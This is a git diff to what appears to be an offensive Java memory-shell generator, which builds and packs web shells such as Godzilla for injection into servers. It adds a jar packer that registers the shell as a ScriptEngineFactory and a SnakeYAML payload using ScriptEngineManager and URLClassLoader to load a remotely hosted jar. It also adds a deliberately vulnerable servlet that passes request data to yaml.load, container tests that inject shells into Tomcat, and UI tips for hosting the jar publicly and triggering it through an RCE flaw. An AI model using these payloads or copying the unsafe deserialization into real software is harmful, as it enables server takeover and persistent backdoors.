diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java index cff87e15..25c23df1 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java @@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.Packer; -import com.reajason.javaweb.packer.jar.JarPacker; import org.springframework.web.bind.annotation.*; import java.util.Base64; @@ -29,12 +29,12 @@ public class MemShellGeneratorController { InjectorConfig injectorConfig = request.getInjectorConfig(); MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); Packer packer = request.getPacker().getInstance(); + if (packer instanceof AggregatePacker) { + return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig())); + } if (packer instanceof JarPacker) { return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig()))); - } else if (packer instanceof AggregatePacker) { - return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig())); - } else { - return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); } + return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index 233d9ba4..a4436664 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -8,11 +8,12 @@ import com.reajason.javaweb.memshell.MemShellGenerator; import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.*; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.jar.AgentJarPacker; import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker; import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker; -import com.reajason.javaweb.packer.jar.JarPacker; +import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker; import com.reajason.javaweb.suo5.Suo5Manager; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; @@ -21,12 +22,12 @@ import okhttp3.HttpUrl; import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.Response; -import org.testcontainers.containers.Container; -import org.testcontainers.containers.GenericContainer; import org.apache.commons.io.FileUtils; import org.apache.commons.lang3.RandomStringUtils; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; +import org.testcontainers.containers.Container; +import org.testcontainers.containers.GenericContainer; import org.testcontainers.utility.MountableFile; import java.io.IOException; @@ -107,6 +108,32 @@ public class ShellAssertion { @SneakyThrows public static void packerResultAndInject(MemShellResult generateResult, String url, String shellTool, String shellType, Packers packer, GenericContainer appContainer) { String content = null; + if (packer.getInstance() instanceof AgentJarPacker || + packer.getInstance() instanceof AgentJarWithJREAttacherPacker || + packer.getInstance() instanceof AgentJarWithJDKAttacherPacker) { + injectAgentJar(generateResult, shellTool, shellType, packer, appContainer); + return; + } + if (packer.getInstance() instanceof ScriptEngineJarPacker) { + byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig()); + Path tempJar = Files.createTempFile("temp", "jar"); + Files.write(tempJar, bytes); + String jarPath = "/" + shellTool + shellType + packer.name() + ".jar"; + appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath); + FileUtils.deleteQuietly(tempJar.toFile()); + content = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"file://" + jarPath + "\"]\n" + + " ]]\n" + + "]"; + } else { + content = packer.getInstance().pack(generateResult.toClassPackerConfig()); + } + injectIsOk(url, shellType, shellTool, content, packer, appContainer); + log.info("send inject payload successfully"); + } + + private static void injectAgentJar(MemShellResult generateResult, String shellTool, String shellType, Packers packer, GenericContainer appContainer) throws IOException, InterruptedException { if (packer.getInstance() instanceof AgentJarPacker) { byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig()); Path tempJar = Files.createTempFile("temp", "jar"); @@ -143,13 +170,10 @@ public class ShellAssertion { assertThat(stdout, anyOf( containsString("ok") )); - } else { - content = packer.getInstance().pack(generateResult.toClassPackerConfig()); - injectIsOk(url, shellType, shellTool, content, packer, appContainer); - log.info("send inject payload successfully"); } } + @SneakyThrows public static void assertShellIsOk(MemShellResult generateResult, String shellUrl, String shellTool, String shellType, GenericContainer appContainer, GenericContainer pythonContainer) { switch (shellTool) { @@ -365,6 +389,7 @@ public class ShellAssertion { case JavaCommonsCollections4 -> VulTool.postIsOk(url + "/java_deserialize/cc40", content); case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content); case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content); + case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content); case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content); case Base64 -> VulTool.postIsOk(url + "/b64", content); case BigInteger -> VulTool.postIsOk(url + "/biginteger", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java index 9a0d3796..d8c7ac32 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java @@ -52,7 +52,8 @@ public class Tomcat8DeserializeContainerTest { arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine), - arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass) + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar) ); } diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassInterfaceUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassInterfaceUtils.java new file mode 100644 index 00000000..9d4f6ea6 --- /dev/null +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassInterfaceUtils.java @@ -0,0 +1,47 @@ +package com.reajason.javaweb.asm; + +import org.objectweb.asm.ClassReader; +import org.objectweb.asm.ClassVisitor; +import org.objectweb.asm.ClassWriter; +import org.objectweb.asm.Opcodes; + +/** + * @author ReaJason + * @since 2025/11/16 + */ +public class ClassInterfaceUtils { + + public static byte[] addInterface(byte[] bytes, String interfaceName) { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, 0); + ClassVisitor cv = new AddInterfaceClassAdapter(cw, interfaceName.replace('.', '/')); + cr.accept(cv, 0); + return cw.toByteArray(); + } + + + static class AddInterfaceClassAdapter extends ClassVisitor { + + private final String interfaceToAdd; + + public AddInterfaceClassAdapter(ClassVisitor cv, String interfaceToAdd) { + super(Opcodes.ASM9, cv); + this.interfaceToAdd = interfaceToAdd; + } + + @Override + public void visit(int version, int access, String name, + String signature, String superName, String[] interfaces) { + for (String itf : interfaces) { + if (itf.equals(interfaceToAdd)) { + super.visit(version, access, name, signature, superName, interfaces); + return; + } + } + String[] newInterfaces = new String[interfaces.length + 1]; + System.arraycopy(interfaces, 0, newInterfaces, 0, interfaces.length); + newInterfaces[interfaces.length] = interfaceToAdd; + super.visit(version, access, name, signature, superName, newInterfaces); + } + } +} diff --git a/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassInterfaceUtilsTest.java b/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassInterfaceUtilsTest.java new file mode 100644 index 00000000..63665ea4 --- /dev/null +++ b/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassInterfaceUtilsTest.java @@ -0,0 +1,120 @@ +package com.reajason.javaweb.asm; + +import net.bytebuddy.ByteBuddy; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.ClassReader; + +import javax.script.ScriptEngine; +import javax.script.ScriptEngineFactory; +import java.io.Serializable; +import java.util.Collections; +import java.util.List; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2025/11/16 + */ +class ClassInterfaceUtilsTest { + + @Test + void test() { + String interfaceName = "javax.script.ScriptEngineFactory"; + byte[] bytes = new ByteBuddy().redefine(EmptyInterface.class).make().getBytes(); + byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName); + String[] interfaces = new ClassReader(newBytes).getInterfaces(); + assertEquals(1, interfaces.length); + assertEquals(interfaceName.replace(".", "/"), interfaces[0]); + } + + @Test + void skipAdd(){ + String interfaceName = "javax.script.ScriptEngineFactory"; + byte[] bytes = new ByteBuddy().redefine(ScriptEngineFactoryClass.class).make().getBytes(); + byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName); + String[] interfaces = new ClassReader(newBytes).getInterfaces(); + assertEquals(1, interfaces.length); + assertEquals(interfaceName.replace(".", "/"), interfaces[0]); + } + + @Test + void addNewInterface(){ + String interfaceName = "javax.script.ScriptEngineFactory"; + byte[] bytes = new ByteBuddy().redefine(Entity.class).make().getBytes(); + byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName); + String[] interfaces = new ClassReader(newBytes).getInterfaces(); + assertEquals(2, interfaces.length); + assertEquals("java/io/Serializable", interfaces[0]); + assertEquals(interfaceName.replace(".", "/"), interfaces[1]); + } + + static class EmptyInterface { + } + + static class ScriptEngineFactoryClass implements ScriptEngineFactory { + @Override + public String getEngineName() { + return ""; + } + + @Override + public String getEngineVersion() { + return ""; + } + + @Override + public List getExtensions() { + return Collections.emptyList(); + } + + @Override + public List getMimeTypes() { + return Collections.emptyList(); + } + + @Override + public List getNames() { + return Collections.emptyList(); + } + + @Override + public String getLanguageName() { + return ""; + } + + @Override + public String getLanguageVersion() { + return ""; + } + + @Override + public Object getParameter(String key) { + return null; + } + + @Override + public String getMethodCallSyntax(String obj, String m, String... args) { + return ""; + } + + @Override + public String getOutputStatement(String toDisplay) { + return ""; + } + + @Override + public String getProgram(String... statements) { + return ""; + } + + @Override + public ScriptEngine getScriptEngine() { + return null; + } + } + + static class Entity implements Serializable { + + } +} \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/JarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/JarPacker.java similarity index 74% rename from packer/src/main/java/com/reajason/javaweb/packer/jar/JarPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/JarPacker.java index 9c35f0f9..4b1f8937 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/JarPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/JarPacker.java @@ -1,7 +1,4 @@ -package com.reajason.javaweb.packer.jar; - -import com.reajason.javaweb.packer.JarPackerConfig; -import com.reajason.javaweb.packer.Packer; +package com.reajason.javaweb.packer; /** * @author ReaJason diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index a0e26cb1..6572ba16 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -19,10 +19,7 @@ import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker; import com.reajason.javaweb.packer.h2.H2JSPacker; import com.reajason.javaweb.packer.h2.H2JavacPacker; import com.reajason.javaweb.packer.h2.H2Packer; -import com.reajason.javaweb.packer.jar.AgentJarPacker; -import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker; -import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker; -import com.reajason.javaweb.packer.jar.DefaultJarPacker; +import com.reajason.javaweb.packer.jar.*; import com.reajason.javaweb.packer.jexl.JEXLPacker; import com.reajason.javaweb.packer.jinjava.JinJavaPacker; import com.reajason.javaweb.packer.jsp.ClassLoaderJspPacker; @@ -72,7 +69,13 @@ public enum Packers { Base64URLEncoded(new Base64URLEncoded(), Base64Packer.class), GzipBase64(new GzipBase64Packer(), Base64Packer.class), - Jar(new DefaultJarPacker()), + /** + * JSP 打包器 + */ + JSP(new JspPacker()), + ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class), + DefineClassJSP(new DefineClassJspPacker(), JspPacker.class), + JSPX(new JspxPacker(), JspPacker.class), /** * BigInteger @@ -84,14 +87,6 @@ public enum Packers { */ BCEL(new BCELPacker()), - /** - * JSP 打包器 - */ - JSP(new JspPacker()), - ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class), - DefineClassJSP(new DefineClassJspPacker(), JspPacker.class), - JSPX(new JspxPacker(), JspPacker.class), - /** * 脚本引擎打包器 */ @@ -168,6 +163,9 @@ public enum Packers { H2Javac(new H2JavacPacker(), H2Packer.class), H2JS(new H2JSPacker(), H2Packer.class), + Jar(new DefaultJarPacker()), + ScriptEngineJar(new ScriptEngineJarPacker()), + XxlJob(new XxlJobPacker()), ; private final Packer instance; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java index a29424a7..e9b4fe38 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar; import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.asm.ClassRenameUtils; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.JarPackerConfig; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java index ca688dd2..cf37f2e4 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar; import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.asm.ClassRenameUtils; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.JarPackerConfig; import com.reajason.javaweb.packer.jar.attach.Attacher; import com.reajason.javaweb.packer.jar.attach.VirtualMachine; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java index d2919b9c..e0b27346 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar; import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.asm.ClassRenameUtils; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.JarPackerConfig; import com.reajason.javaweb.packer.jar.attach.Attacher; import com.reajason.javaweb.packer.jar.attach.VirtualMachine; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java index 7d18307c..9b3b141b 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.packer.jar; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.JarPackerConfig; import lombok.SneakyThrows; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/ScriptEngineJarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/ScriptEngineJarPacker.java new file mode 100644 index 00000000..ebd08e63 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/ScriptEngineJarPacker.java @@ -0,0 +1,38 @@ +package com.reajason.javaweb.packer.jar; + +import com.reajason.javaweb.asm.ClassInterfaceUtils; +import com.reajason.javaweb.packer.JarPacker; +import com.reajason.javaweb.packer.JarPackerConfig; +import lombok.SneakyThrows; + +import java.io.ByteArrayOutputStream; +import java.nio.charset.StandardCharsets; +import java.util.jar.JarEntry; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +/** + * @author ReaJason + * @since 2025/11/16 + */ +public class ScriptEngineJarPacker implements JarPacker { + + @Override + @SneakyThrows + public byte[] packBytes(JarPackerConfig config) { + String mainClassName = config.getMainClassName(); + byte[] mainClassBytes = config.getClassBytes().get(mainClassName); + byte[] bytes = ClassInterfaceUtils.addInterface(mainClassBytes, "javax.script.ScriptEngineFactory"); + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + try (JarOutputStream targetJar = new JarOutputStream(outputStream, new Manifest())) { + targetJar.putNextEntry(new JarEntry(mainClassName.replace('.', '/') + ".class")); + targetJar.write(bytes); + targetJar.closeEntry(); + + targetJar.putNextEntry(new JarEntry("META-INF/services/javax.script.ScriptEngineFactory")); + targetJar.write(mainClassName.getBytes(StandardCharsets.UTF_8)); + targetJar.closeEntry(); + } + return outputStream.toByteArray(); + } +} diff --git a/vul/vul-webapp-deserialize/build.gradle.kts b/vul/vul-webapp-deserialize/build.gradle.kts index e350c81a..735e03c9 100644 --- a/vul/vul-webapp-deserialize/build.gradle.kts +++ b/vul/vul-webapp-deserialize/build.gradle.kts @@ -28,6 +28,7 @@ val filesToCopy = objects.fileCollection().from( dependencies { implementation("com.caucho:hessian:4.0.66") + implementation("org.yaml:snakeyaml:1.27") providedCompile("javax.servlet:javax.servlet-api:3.1.0") testImplementation(libs.junit.jupiter) testRuntimeOnly(libs.junit.platform.launcher) diff --git a/vul/vul-webapp-deserialize/src/main/java/SnakeYamlServlet.java b/vul/vul-webapp-deserialize/src/main/java/SnakeYamlServlet.java new file mode 100644 index 00000000..aa8f84ba --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/SnakeYamlServlet.java @@ -0,0 +1,22 @@ +import org.yaml.snakeyaml.Yaml; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/11/16 + */ +@WebServlet("/snakeYaml") +public class SnakeYamlServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + Yaml yaml = new Yaml(); + yaml.load(data); + } +} diff --git a/web/bun.lockb b/web/bun.lockb index 74d92195..57d20af7 100755 Binary files a/web/bun.lockb and b/web/bun.lockb differ diff --git a/web/src/components/memshell/main-config-card.tsx b/web/src/components/memshell/main-config-card.tsx index b2fe2541..05786513 100644 --- a/web/src/components/memshell/main-config-card.tsx +++ b/web/src/components/memshell/main-config-card.tsx @@ -395,7 +395,9 @@ export default function MainConfigCard({ onCheckedChange={field.onChange} /> - + )} /> diff --git a/web/src/components/memshell/results/jar-result.tsx b/web/src/components/memshell/results/jar-result.tsx index c5b80fef..b9bbc8d5 100644 --- a/web/src/components/memshell/results/jar-result.tsx +++ b/web/src/components/memshell/results/jar-result.tsx @@ -1,27 +1,79 @@ +import { ScrollTextIcon } from "lucide-react"; import { useTranslation } from "react-i18next"; +import CodeViewer from "@/components/code-viewer"; import { Button } from "@/components/ui/button"; -import { downloadBytes } from "@/lib/utils"; +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; +import { Separator } from "@/components/ui/separator"; +import { downloadBytes, formatBytes } from "@/lib/utils"; import type { MemShellResult } from "@/types/memshell"; export function JarResult({ + packMethod, packResult, generateResult, -}: Readonly<{ packResult: string; generateResult?: MemShellResult }>) { +}: Readonly<{ + packMethod: string; + packResult: string; + generateResult?: MemShellResult; +}>) { const { t } = useTranslation(); + const isPureJar = packMethod === "Jar"; return ( -
- -
+ + + + + {t("common:usage")} + + + +
    +
  1. + + {t("common:download")} shell.jar ( + {formatBytes(atob(packResult).length)}) + + +
  2. + + {isPureJar ? ( + <> +
  3. {t("memshell:tips.download-jar")}
  4. +
  5. {t("memshell:tips.trigger-injector-class-loading")}
  6. + + ) : ( + <> +
  7. {t("memshell:tips.download-jar")}
  8. +
  9. {t("memshell:tips.load-jar-with-scriptenginemanager")}
  10. + SnakeYaml Payload} + /> + + )} +
+
+
); } diff --git a/web/src/components/memshell/results/result-component.tsx b/web/src/components/memshell/results/result-component.tsx index bbdab73c..d423cbb3 100644 --- a/web/src/components/memshell/results/result-component.tsx +++ b/web/src/components/memshell/results/result-component.tsx @@ -18,7 +18,7 @@ export function ResultComponent({ }>) { const showCode = packMethod === "JSP"; const isAgent = packMethod.startsWith("Agent"); - const isJar = packMethod === "Jar"; + const isJar = packMethod.endsWith("Jar"); const { t } = useTranslation(); if (allPackResults) { return ( @@ -29,7 +29,6 @@ export function ResultComponent({ /> ); } - if (isAgent) { return ( ); } - if (!isAgent && !isJar) { - return ( - - - {t("common:packerMethod")}:{packMethod} - - - ({packResult?.length}) - - - } - wrapLongLines={!showCode} - showLineNumbers={showCode} - language={showCode ? "java" : "text"} - height={350} - /> - ); - } - return null; + + return ( + + + {t("common:packerMethod")}:{packMethod} + + ({packResult?.length}) + + } + wrapLongLines={!showCode} + showLineNumbers={showCode} + language={showCode ? "java" : "text"} + height={350} + /> + ); } diff --git a/web/src/components/memshell/tabs/classname-field.tsx b/web/src/components/memshell/tabs/classname-field.tsx index 1573c5b2..17fedcf8 100644 --- a/web/src/components/memshell/tabs/classname-field.tsx +++ b/web/src/components/memshell/tabs/classname-field.tsx @@ -18,8 +18,7 @@ export function OptionalClassFormField({ const initialShellClassName = form.getValues("shellClassName") ?? ""; const initialInjectorClassName = form.getValues("injectorClassName") ?? ""; const [useRandomClassName, setUseRandomClassName] = useState( - () => - !(initialShellClassName?.trim() || initialInjectorClassName?.trim()), + () => !(initialShellClassName?.trim() || initialInjectorClassName?.trim()), ); const [savedShellClassName, setSavedShellClassName] = useState( initialShellClassName, diff --git a/web/src/components/probeshell/main-config-card.tsx b/web/src/components/probeshell/main-config-card.tsx index ba1c4b8d..e8379c66 100644 --- a/web/src/components/probeshell/main-config-card.tsx +++ b/web/src/components/probeshell/main-config-card.tsx @@ -209,7 +209,9 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) { const renderDynamicFields = useCallback(() => { const isBodyMethod = watchedProbeMethod === "ResponseBody"; const needParam = - watchedProbeContent === "Command" || watchedProbeContent === "Bytecode" || watchedProbeContent === "ScriptEngine"; + watchedProbeContent === "Command" || + watchedProbeContent === "Bytecode" || + watchedProbeContent === "ScriptEngine"; const isSleepMethod = watchedProbeMethod === "Sleep"; const isServerContent = watchedProbeContent === "Server"; diff --git a/web/src/i18n/memshell/en.json b/web/src/i18n/memshell/en.json index b426c36b..8965a5a3 100644 --- a/web/src/i18n/memshell/en.json +++ b/web/src/i18n/memshell/en.json @@ -54,5 +54,8 @@ "tips.specificUrlPattern": "URL Pattern must be specified, e.g., /hello", "tips.targetServerNotFound": "Target server not found?", "tips.targetServerRequest": "Request", - "tips.try-to-use-shell": "Try to use the memory shell" + "tips.try-to-use-shell": "Try to use the memory shell", + "tips.download-jar": "Download the jar file and upload it to the public network server, so that it can be accessed through the http link to download", + "tips.load-jar-with-scriptenginemanager": "Load the jar file with javax.script.ScriptEngineManager to implement injection", + "tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability" } diff --git a/web/src/i18n/memshell/zh-CN.json b/web/src/i18n/memshell/zh-CN.json index 95fedc98..778a9fd0 100644 --- a/web/src/i18n/memshell/zh-CN.json +++ b/web/src/i18n/memshell/zh-CN.json @@ -55,7 +55,7 @@ "tips.targetServerNotFound": "找不到目标服务?", "tips.targetServerRequest": "请求适配", "tips.try-to-use-shell": "尝试利用内存马", - "shellNotWork": { - "title": "利用失败?" - } + "tips.download-jar": "下载 jar 包并上传至公网服务器,使其能通过 http 链接访问下载", + "tips.load-jar-with-scriptenginemanager": "通过 RCE 漏洞使用 javax.script.ScriptEngineManager 加载 jar 包实现注入", + "tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载" } diff --git a/web/src/pages/probeshell.tsx b/web/src/pages/probeshell.tsx index 23e1a087..efbc886f 100644 --- a/web/src/pages/probeshell.tsx +++ b/web/src/pages/probeshell.tsx @@ -56,7 +56,7 @@ export default function ProbeShellGenerator() { seconds: 5, sleepServer: "Tomcat", shrink: true, - staticInitialize: true + staticInitialize: true, }, }); diff --git a/web/src/types/schema.ts b/web/src/types/schema.ts index 579331e6..4614ecd4 100644 --- a/web/src/types/schema.ts +++ b/web/src/types/schema.ts @@ -152,7 +152,7 @@ export const probeShellFormSchema = yup.object().shape({ debug: yup.boolean().optional(), byPassJavaModule: yup.boolean().optional(), shrink: yup.boolean().optional(), - staticInitialize: yup.boolean().optional() + staticInitialize: yup.boolean().optional(), }); type ProbeValidationResult = ResolverResult; diff --git a/web/src/utils/transformer.ts b/web/src/utils/transformer.ts index 9a0c1a24..124b0188 100644 --- a/web/src/utils/transformer.ts +++ b/web/src/utils/transformer.ts @@ -37,7 +37,7 @@ export function transformToPostData(formValue: MemShellFormSchema) { const injectorConfig: InjectorConfig = { urlPattern: formValue.urlPattern, injectorClassName: formValue.injectorClassName, - staticInitialize: formValue.staticInitialize + staticInitialize: formValue.staticInitialize, }; return { shellConfig, @@ -55,7 +55,7 @@ export function transformToProbePostData(formValue: ProbeShellFormSchema) { shrink: formValue.shrink, debug: formValue.debug, byPassJavaModule: formValue.byPassJavaModule, - staticInitialize: formValue.staticInitialize + staticInitialize: formValue.staticInitialize, }; const probeContentConfig: ProbeContentConfig = { host: formValue.host,